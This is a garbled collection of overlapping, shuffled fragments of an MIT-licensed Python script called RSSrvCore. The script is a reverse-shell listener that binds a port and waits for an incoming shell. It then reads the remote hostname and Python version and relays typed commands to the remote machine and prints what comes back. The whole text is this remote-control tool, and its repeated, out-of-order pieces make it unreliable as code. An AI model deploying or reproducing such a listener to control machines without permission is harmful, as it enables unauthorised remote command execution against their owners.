"reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1)",
"to permit persons to whom the Software is # furnished to do so,",
"ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT,",
"or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED \"AS",
"'.\\n' + \\ 'Remote Python major version: ' + remotepyversion + \\ '.\\nEnter",
"of charge, to any person obtaining a copy # of this software and",
"port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept() print('Received connection",
"type=int, help = ('set the local port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False):",
"help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix = ' # '",
"= s.accept() print('Received connection from ' + str(host[0]) + \\ ':' + str(host[1])",
"the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting",
"from time import sleep __version__ = '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a",
"' $ ' print('Type exit or enter EOF (ctrl-d) to exit.') while True:",
"the local port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an incoming",
"so, subject to the following conditions: # # The above copyright notice and",
"LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION",
"conn.close() s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0",
"show this help menu') h.append('exit close program (local and remote)') h.append('drop close shell,",
"'': cmd = '\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0)",
"sockets that are already in use')) self.arg_parser.add_argument('port', action = 'store', type=int, help =",
"' # ' else: promptsuffix = ' $ ' print('Type exit or enter",
"copy # of this software and associated documentation files (the \"Software\"), to deal",
"s = socket.socket() if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding",
"to the following conditions: # # The above copyright notice and this permission",
"conn.recv(16834) if remotepyversion == 2: if recdata and recdata != ':': stdout.buffer.write(recdata) else:",
"self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version",
"the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF",
"str(host[0]) + \\ ':' + str(host[1]) + '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':')",
"and associated documentation files (the \"Software\"), to deal # in the Software without",
"client running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell",
"= conn.recv(16834) if remotepyversion == 2: if recdata and recdata != ':': stdout.buffer.write(recdata)",
"print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port ' + str(self.args.port))",
"= '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force', help",
"' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept() print('Received connection from",
"print('Received connection from ' + str(host[0]) + \\ ':' + str(host[1]) + '.')",
"(c) 2018 <NAME> (<EMAIL>) # # Permission is hereby granted, free of charge,",
"LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #",
"True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing = RSSrvCore() thing.run_script()",
"OR OTHER DEALINGS IN THE # SOFTWARE. from argparse import ArgumentParser import socket",
"+ '.\\n' + \\ 'Remote Python major version: ' + remotepyversion + \\",
"BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN",
"conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help for shell options\"\"\"",
"sublicense, and/or sell # copies of the Software, and to permit persons to",
"Software is # furnished to do so, subject to the following conditions: #",
"'0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args = None self.arg_parser",
"\"\"\"Initialize a shell server\"\"\" self.args = None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set",
"# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR",
"h for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix = '",
"CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT",
"OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE",
"hostname: ' + remotehost + '.\\n' + \\ 'Remote Python major version: '",
"'utf8')) conn.close() s.close() exit(0) elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata",
"all # copies or substantial portions of the Software. # # THE SOFTWARE",
"promptsuffix = ' $ ' print('Type exit or enter EOF (ctrl-d) to exit.')",
"server\"\"\" self.args = None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version',",
"Python major version: ' + remotepyversion + \\ '.\\nEnter h for help.') remotepyversion",
"__init__(self): \"\"\"Initialize a shell server\"\"\" self.args = None self.arg_parser = ArgumentParser() def get_args(self):",
"== 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif cmd == 'detach': conn.send(bytes(cmd,",
"cmd == '': cmd = '\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close()",
"+ str(host[0]) + \\ ':' + str(host[1]) + '.') remotehost, remotepyversion = str(",
"exit.') while True: try: cmd = input(remotehost + promptsuffix) if cmd == '!':",
"conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close()",
"show_help(self): \"\"\"Show help for shell options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h",
"of the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY",
"if cmd == '!': cmd = lastcmd elif cmd == '': cmd =",
"port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\" s",
"# copies of the Software, and to permit persons to whom the Software",
"print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True:",
"except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing = RSSrvCore() thing.run_script() if __name__",
"DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR",
"0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd ==",
"permission notice shall be included in all # copies or substantial portions of",
"elif cmd == '': cmd = '\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8'))",
"self.arg_parser.add_argument('port', action = 'store', type=int, help = ('set the local port')) self.args =",
"run_script(self): \"\"\"Run the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except",
"s.close() exit(0) def show_help(self): \"\"\"Show help for shell options\"\"\" h = [] h.append('\\nCommand",
"notice and this permission notice shall be included in all # copies or",
"# ' else: promptsuffix = ' $ ' print('Type exit or enter EOF",
"cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'h': self.show_help()",
"h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help menu') h.append('exit close",
"major version: ' + remotepyversion + \\ '.\\nEnter h for help.') remotepyversion =",
"NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE",
"software and associated documentation files (the \"Software\"), to deal # in the Software",
"self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing",
"= 'version', version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest",
"WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT",
"== 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion == 2:",
"OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN",
"CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #",
"str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost + '.\\n' + \\ 'Remote Python",
"close program (local and remote)') h.append('drop close shell, keep server running') h.append('detach close",
"running') h.append('detach close shell, keep client running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h))",
"print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept()",
"use')) self.arg_parser.add_argument('port', action = 'store', type=int, help = ('set the local port')) self.args",
"and to permit persons to whom the Software is # furnished to do",
"use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the",
"the following conditions: # # The above copyright notice and this permission notice",
"argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f',",
"LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND",
"if recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError:",
"# furnished to do so, subject to the following conditions: # # The",
"already in use')) self.arg_parser.add_argument('port', action = 'store', type=int, help = ('set the local",
"the Software, and to permit persons to whom the Software is # furnished",
"'Remote Python major version: ' + remotepyversion + \\ '.\\nEnter h for help.')",
"KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing = RSSrvCore() thing.run_script() if __name__ ==",
"rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #",
"FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF",
"merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to",
"# Copyright (c) 2018 <NAME> (<EMAIL>) # # Permission is hereby granted, free",
"OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING",
"'store_true', dest = 'force', help = ('bind to sockets that are already in",
"'utf8')) conn.close() s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return",
"ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE",
"RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args = None self.arg_parser = ArgumentParser()",
"dest = 'force', help = ('bind to sockets that are already in use'))",
"== 2: if recdata and recdata != ':': stdout.buffer.write(recdata) else: if recdata and",
"directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force)",
"'root': promptsuffix = ' # ' else: promptsuffix = ' $ ' print('Type",
"to do so, subject to the following conditions: # # The above copyright",
"server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt')",
"are already in use')) self.arg_parser.add_argument('port', action = 'store', type=int, help = ('set the",
"connection from ' + str(host[0]) + \\ ':' + str(host[1]) + '.') remotehost,",
"sleep __version__ = '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args",
"'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd,",
"conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help for shell options\"\"\" h = []",
"= '\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd",
"this help menu') h.append('exit close program (local and remote)') h.append('drop close shell, keep",
"whom the Software is # furnished to do so, subject to the following",
"CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH",
"running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server",
"== 'root': promptsuffix = ' # ' else: promptsuffix = ' $ '",
"\"\"\"Show help for shell options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show",
"free of charge, to any person obtaining a copy # of this software",
"None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version',",
"shell\"\"\" s = socket.socket() if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)",
"PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT",
"and remote)') h.append('drop close shell, keep server running') h.append('detach close shell, keep client",
"copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software,",
"or enter EOF (ctrl-d) to exit.') while True: try: cmd = input(remotehost +",
"(<EMAIL>) # # Permission is hereby granted, free of charge, to any person",
"Copyright (c) 2018 <NAME> (<EMAIL>) # # Permission is hereby granted, free of",
"without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense,",
"is # furnished to do so, subject to the following conditions: # #",
"Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY",
"'store', type=int, help = ('set the local port')) self.args = self.arg_parser.parse_args() def main_event(self,",
"promptsuffix) if cmd == '!': cmd = lastcmd elif cmd == '': cmd",
"for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix = ' #",
"to deal # in the Software without restriction, including without limitation the rights",
"socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0',",
"to any person obtaining a copy # of this software and associated documentation",
"# MIT License # # Copyright (c) 2018 <NAME> (<EMAIL>) # # Permission",
"close shell, keep client running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self):",
"change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server program\"\"\" try: self.get_args()",
"promptsuffix = ' # ' else: promptsuffix = ' $ ' print('Type exit",
"in all # copies or substantial portions of the Software. # # THE",
"# SOFTWARE. from argparse import ArgumentParser import socket from sys import exit, stdout",
"print('\\nExiting on KeyboardInterrupt') def main(): thing = RSSrvCore() thing.run_script() if __name__ == \"__main__\":",
"OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #",
"# # Copyright (c) 2018 <NAME> (<EMAIL>) # # Permission is hereby granted,",
"\"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s ' + str(__version__))",
"python3 # MIT License # # Copyright (c) 2018 <NAME> (<EMAIL>) # #",
"= 'store_true', dest = 'force', help = ('bind to sockets that are already",
"THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN",
"'\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd ==",
"if recdata and recdata != ':': stdout.buffer.write(recdata) else: if recdata and recdata !=",
"OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE",
"FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #",
"SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES",
"IN THE # SOFTWARE. from argparse import ArgumentParser import socket from sys import",
"stdout.buffer.write(recdata) else: if recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd",
"self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing =",
"Software, and to permit persons to whom the Software is # furnished to",
"+ promptsuffix) if cmd == '!': cmd = lastcmd elif cmd == '':",
"self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\" s =",
"stdout from time import sleep __version__ = '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize",
"recdata and recdata != ':': stdout.buffer.write(recdata) else: if recdata and recdata != bytes('\\n',",
"this software and associated documentation files (the \"Software\"), to deal # in the",
"print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help for shell options\"\"\" h =",
"== 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8'))",
"conn, host = s.accept() print('Received connection from ' + str(host[0]) + \\ ':'",
"local port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\"",
"' + str(host[0]) + \\ ':' + str(host[1]) + '.') remotehost, remotepyversion =",
"server running') h.append('detach close shell, keep client running') h.append('cd DIR change directory') h.append('')",
"OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY,",
"keep server running') h.append('detach close shell, keep client running') h.append('cd DIR change directory')",
"str(host[1]) + '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost",
"('set the local port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an",
"granted, free of charge, to any person obtaining a copy # of this",
"SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from argparse",
"remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix = ' # ' else:",
"h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server program\"\"\"",
"EOF (ctrl-d) to exit.') while True: try: cmd = input(remotehost + promptsuffix) if",
"while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing = RSSrvCore()",
"enter EOF (ctrl-d) to exit.') while True: try: cmd = input(remotehost + promptsuffix)",
"if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port '",
"version: ' + remotepyversion + \\ '.\\nEnter h for help.') remotepyversion = int(remotepyversion)",
"str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force', help = ('bind to sockets",
"else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion == 2: if recdata and",
"' + remotepyversion + \\ '.\\nEnter h for help.') remotepyversion = int(remotepyversion) if",
"furnished to do so, subject to the following conditions: # # The above",
"and this permission notice shall be included in all # copies or substantial",
"modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and",
"ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES",
"keep client running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the",
"# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,",
"# Permission is hereby granted, free of charge, to any person obtaining a",
"= str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost + '.\\n' + \\ 'Remote",
"try: cmd = input(remotehost + promptsuffix) if cmd == '!': cmd = lastcmd",
"IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF",
"remotehost.split('@')[0] == 'root': promptsuffix = ' # ' else: promptsuffix = ' $",
"publish, distribute, sublicense, and/or sell # copies of the Software, and to permit",
"help menu') h.append('exit close program (local and remote)') h.append('drop close shell, keep server",
"2: if recdata and recdata != ':': stdout.buffer.write(recdata) else: if recdata and recdata",
"\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT",
"to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept() print('Received",
"'force', help = ('bind to sockets that are already in use')) self.arg_parser.add_argument('port', action",
"s.accept() print('Received connection from ' + str(host[0]) + \\ ':' + str(host[1]) +",
"= int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix = ' # ' else: promptsuffix",
"help = ('set the local port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect",
"ArgumentParser import socket from sys import exit, stdout from time import sleep __version__",
"= ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version =",
"OTHER DEALINGS IN THE # SOFTWARE. from argparse import ArgumentParser import socket from",
"str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept() print('Received connection from ' +",
"OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION",
"without restriction, including without limitation the rights # to use, copy, modify, merge,",
"return 0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd",
"remotehost + '.\\n' + \\ 'Remote Python major version: ' + remotepyversion +",
"remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost + '.\\n' + \\",
"'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0)",
"socket.socket() if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port",
"to an incoming shell\"\"\" s = socket.socket() if force: print('Enabling socket address reuse.')",
"h.append('exit close program (local and remote)') h.append('drop close shell, keep server running') h.append('detach",
"in the Software without restriction, including without limitation the rights # to use,",
"program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def",
"exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif cmd",
"that are already in use')) self.arg_parser.add_argument('port', action = 'store', type=int, help = ('set",
"Description') h.append('-----------------------------') h.append('h show this help menu') h.append('exit close program (local and remote)')",
"PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS",
"copies of the Software, and to permit persons to whom the Software is",
"conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close()",
"class RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args = None self.arg_parser =",
"and recdata != ':': stdout.buffer.write(recdata) else: if recdata and recdata != bytes('\\n', 'utf8'):",
"from sys import exit, stdout from time import sleep __version__ = '0.1' class",
"sys import exit, stdout from time import sleep __version__ = '0.1' class RSSrvCore:",
"AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR",
"\"\"\"Connect to an incoming shell\"\"\" s = socket.socket() if force: print('Enabling socket address",
"USE OR OTHER DEALINGS IN THE # SOFTWARE. from argparse import ArgumentParser import",
"an incoming shell\"\"\" s = socket.socket() if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET,",
"action = 'version', version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true',",
"exit(0) elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if",
"EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help for shell",
"notice shall be included in all # copies or substantial portions of the",
"shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on",
"obtaining a copy # of this software and associated documentation files (the \"Software\"),",
"recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit')",
"for shell options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help",
"NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE",
"\\ '.\\nEnter h for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix",
"MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL",
"shall be included in all # copies or substantial portions of the Software.",
"close shell, keep server running') h.append('detach close shell, keep client running') h.append('cd DIR",
"else: if recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except",
"The above copyright notice and this permission notice shall be included in all",
"and/or sell # copies of the Software, and to permit persons to whom",
"License # # Copyright (c) 2018 <NAME> (<EMAIL>) # # Permission is hereby",
"elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif cmd ==",
"= 'store', type=int, help = ('set the local port')) self.args = self.arg_parser.parse_args() def",
"import exit, stdout from time import sleep __version__ = '0.1' class RSSrvCore: def",
"shell options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help menu')",
"# in the Software without restriction, including without limitation the rights # to",
"while True: try: cmd = input(remotehost + promptsuffix) if cmd == '!': cmd",
"host = s.accept() print('Received connection from ' + str(host[0]) + \\ ':' +",
"!= ':': stdout.buffer.write(recdata) else: if recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd",
"TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE",
"DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server program\"\"\" try:",
"= [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help menu') h.append('exit close program",
"# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS",
"SOFTWARE. from argparse import ArgumentParser import socket from sys import exit, stdout from",
"cmd == '!': cmd = lastcmd elif cmd == '': cmd = '\\n'",
"'%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force', help =",
"on KeyboardInterrupt') def main(): thing = RSSrvCore() thing.run_script() if __name__ == \"__main__\": main()",
"any person obtaining a copy # of this software and associated documentation files",
"self.args.port)) s.listen(1) conn, host = s.accept() print('Received connection from ' + str(host[0]) +",
"# # The above copyright notice and this permission notice shall be included",
"def main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\" s = socket.socket() if force:",
"\"Software\"), to deal # in the Software without restriction, including without limitation the",
"if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'drop':",
"AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE",
"IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED,",
"a copy # of this software and associated documentation files (the \"Software\"), to",
"deal # in the Software without restriction, including without limitation the rights #",
"\\ ':' + str(host[1]) + '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname:",
"s.listen(1) conn, host = s.accept() print('Received connection from ' + str(host[0]) + \\",
"version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force',",
"<NAME> (<EMAIL>) # # Permission is hereby granted, free of charge, to any",
"AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #",
"(the \"Software\"), to deal # in the Software without restriction, including without limitation",
"IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR",
"= None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action =",
"cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help",
"menu') h.append('exit close program (local and remote)') h.append('drop close shell, keep server running')",
"' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force', help = ('bind",
"distribute, sublicense, and/or sell # copies of the Software, and to permit persons",
"h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while",
"'version', version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest =",
"charge, to any person obtaining a copy # of this software and associated",
"WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO",
"address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port))",
"== '': cmd = '\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close()",
"WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO",
"cmd = lastcmd elif cmd == '': cmd = '\\n' if cmd ==",
"True: try: cmd = input(remotehost + promptsuffix) if cmd == '!': cmd =",
"WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED",
"KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF",
"THE # SOFTWARE. from argparse import ArgumentParser import socket from sys import exit,",
"'utf8')) conn.close() s.close() return 0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close()",
"to whom the Software is # furnished to do so, subject to the",
"('bind to sockets that are already in use')) self.arg_parser.add_argument('port', action = 'store', type=int,",
"limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or",
"def show_help(self): \"\"\"Show help for shell options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------')",
